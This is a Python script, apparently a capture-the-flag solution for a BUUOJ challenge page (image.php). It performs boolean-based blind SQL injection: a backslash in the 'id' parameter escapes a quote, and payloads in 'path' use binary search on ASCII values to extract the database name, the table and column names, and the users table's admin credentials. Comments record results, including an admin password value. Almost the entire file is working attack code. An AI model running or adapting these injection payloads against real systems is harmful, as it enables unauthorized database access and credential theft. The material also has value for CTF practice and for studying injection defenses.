import requests
# python会对请求的url进行自动编码
# id=1\\0&path=or 0# 返回图片错误
# id=1\\0&path=or 1# 返回正常
# ?id=\\\\0&path=
url = "http://8fc867ee-ba5b-45b2-9b89-fa83966fd57b.node3.buuoj.cn/image.php"
# ciscnfinal
def get_database():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f" or (ascii(substr((select database()),{i},1))>{mid})#"
data = {
'id': '\\\\0',
'path': payload
}
r = requests.get(url=url, params=data)
if len(r.text)==0:
high = mid
if len(r.text)>0:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# get_database()
# images,users
def get_table():
flag = ''
for i in range(1, 500):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})#"
# print(payload)
data = {
'id': '\\\\0',
'path': payload
}
r = requests.get(url=url, params=data)
if len(r.text)==0:
high = mid
if len(r.text)>0:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# get_table()
# username,password
def get_column():
flag = ''
for i in range(1, 500):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{i},1))>{mid})#"
# print(payload)
data = {
'id': '\\\\0',
'path': payload
}
r = requests.get(url=url, params=data)
if len(r.text)==0:
high = mid
if len(r.text)>0:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# get_column()
# admin d2bf6e35814ce4f64d44
def get_admin():
flag = ''
for i in range(1, 500):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
# payload = f" or (ascii(substr((select group_concat(username) from users),{i},1))>{mid})#"
payload = f" or (ascii(substr((select group_concat(password) from users),{i},1))>{mid})#"
# print(payload)
data = {
'id': '\\\\0',
'path': payload
}
r = requests.get(url=url, params=data)
if len(r.text)==0:
high = mid
if len(r.text)>0:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
get_admin()